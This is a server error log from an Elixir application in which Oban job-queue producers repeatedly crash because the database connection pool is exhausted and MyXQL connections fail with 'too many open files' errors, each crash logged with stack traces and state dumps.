    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:32:24.243781Z], limit: 5, uuid: "954da56a-3b7d-4517-87b9-d768bdf8bc25", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:32:24.243787Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.42775>, refresh_timer: #Reference<0.2525715032.1077673987.42763>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:32:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1024ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:32:24.243036Z], limit: 5, uuid: "1b545ae9-9bed-4b1b-b943-74c885bdf238", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:32:24.243041Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.198620>, refresh_timer: #Reference<0.2525715032.1121189889.198589>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:32:42.390000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:32:45.698000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:32:46.688000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:32:48.001000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:32:48.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1085ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:32:36.243220Z], limit: 5, uuid: "de81e64d-913b-4b2e-baa6-307a57873417", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:32:36.243227Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.199058>, refresh_timer: #Reference<0.2525715032.1121189889.199050>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:32:48.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 874ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:32:36.240226Z], limit: 20, uuid: "e882af7d-46fc-4118-8032-038371683fda", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:32:36.240234Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.199059>, refresh_timer: #Reference<0.2525715032.1099431938.63258>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:32:48.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 896ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:32:36.240521Z], limit: 50, uuid: "db456029-27a6-475f-8900-fa584595fc56", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:32:36.240527Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.199060>, refresh_timer: #Reference<0.2525715032.1099431938.63266>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:32:48.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 843ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:32:36.243207Z], limit: 5, uuid: "86f91c1b-7eaf-4a95-b0d6-d65daa9eaf30", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:32:36.243213Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.199062>, refresh_timer: #Reference<0.2525715032.1068498948.63809>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:32:48.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 865ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:32:36.241335Z], limit: 3, uuid: "8bb1b45e-2766-4d8f-8f7e-60b36e3b28a9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:32:36.241341Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.199063>, refresh_timer: #Reference<0.2525715032.1068498948.63792>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:32:48.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 818ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:32:36.243027Z], limit: 10, uuid: "2b828c38-e31b-48e5-9751-f892988850f4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:32:36.243032Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.199061>, refresh_timer: #Reference<0.2525715032.1068498948.63807>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:32:50.955000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:32:51.161000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:32:52.292000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:32:54.793000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:32:55.796000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:32:57.812000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:32:59.318000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:32:59.533000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:33:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 860ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
